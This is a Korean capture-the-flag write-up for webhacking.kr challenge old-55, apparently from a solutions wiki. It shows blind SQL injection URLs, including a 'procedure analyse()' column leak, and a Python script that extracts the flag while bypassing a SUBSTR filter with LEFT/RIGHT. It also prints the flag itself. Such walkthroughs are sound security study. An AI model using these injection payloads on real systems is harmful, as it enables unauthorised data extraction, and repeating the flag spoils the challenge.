old-55 (400)
첫 화면이다.

마우스를 움직이면 캐릭터가 마우스 방향으로 이동하며 Score가 증가한다.

rank를 클릭하면 아래와 같은 창이 뜬다.

2147483647
을 클릭하면 아래와 같이 나타난다.

score을 0으로 하고 뒤에 or 1=0
을 붙여 https://webhacking.kr/challenge/web-31/rank.php?score=0%20or%201=0에 접속하면 아래와 같은 창이 뜬다.

score을 0으로 하고 뒤에 or 1=1
을 붙여 https://webhacking.kr/challenge/web-31/rank.php?score=0%20or%201=1에 접속하면 다른 결과가 나온다.

Blind SQL Injection과 관련된 문제로 유추하였다.
힌트로 주어진 아래 쿼리문을 통해 플래그는 3번째 컬럼에 위치 함을 알 수 있다.
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
https://webhacking.kr/challenge/web-31/rank.php?score=2147483647%20limit%202,1%20procedure%20analyse() 에 접속하면 플래그를 담고 있는 컬럼명을 알 수 있다.

파이썬 코드를 짜면 아래와 같다.
SUBSTR()
이 필터링 되어 LEFT()
와 RIGHT()
를 사용해 우회하였다.
import requests
URL = 'https://webhacking.kr/challenge/web-31/rank.php?score=0%20or%20'
FALSE_PHRASE = 'id : // '
def query(payload):
r = requests.get(URL + payload)
content = r.text
return not FALSE_PHRASE in content
# 31
def find_flag_length():
flag_len = 1
while query('LENGTH(p4ssw0rd_1123581321)={}'.format(flag_len)) is False:
flag_len += 1
print('flag_len: {}'.format(flag_len))
return flag_len
# FLAG{easy_peasy_lemon_squeezy!}
def find_flag():
flag_len = find_flag_length()
flag = ''
for pos in range(1, flag_len + 1):
for character in range(0, 128):
if query('ORD(RIGHT(LEFT(p4ssw0rd_1123581321,{}),1))={}'.format(pos, character)) is True:
flag += chr(character)
break
print('flag: {}'.format(flag))
find_flag()
실행결과, 플래그는 FLAG{easy_peasy_lemon_squeezy!}
이다.
Auth 창에 플래그를 넣고 제출하면 문제가 풀린다.

Last updated
Was this helpful?